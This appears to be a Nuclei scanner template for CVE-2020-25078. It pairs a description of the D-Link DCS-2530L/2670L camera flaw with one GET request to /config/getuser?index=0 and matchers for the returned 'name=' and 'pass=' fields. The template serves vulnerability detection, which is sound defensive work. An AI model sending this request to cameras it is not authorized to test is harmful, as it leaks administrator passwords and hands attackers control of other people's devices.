id: CVE-2020-25078

info:
  name: D-Link DCS-2530L/DCS-2670L - Administrator Password Disclosure
  author: pikpikcu
  severity: high
  description: D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices are vulnerable to password disclosures vulnerabilities because the  /config/getuser endpoint allows for remote administrator password disclosure.
  impact: |
    An attacker can obtain the administrator password, potentially leading to unauthorized access and control of the camera.
  remediation: |
    Update the camera firmware to the latest version to fix the vulnerability.
  reference:
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180
    - https://twitter.com/Dogonsecurity/status/1273251236167516161
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25078
    - https://github.com/pen4uin/vulnerability-research-list
    - https://github.com/ArrestX/--POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-25078
    epss-score: 0.97901
    epss-percentile: 0.99899
    cpe: cpe:2.3:o:dlink:dcs-2530l_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dcs-2530l_firmware
  tags: cve,cve2020,dlink,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/config/getuser?index=0"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "name="
          - "pass="
        condition: and

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 490a0046304402201b5f5a7b6b53de49e93e24f039a3563fc6d9b35f47cb016ca2a22b949990363202207fdb7b1de52c40fe3e443344d8693b9065cd717893459da00b1b709ff3847b7c:922c64590222798bb761d5b6d8e72950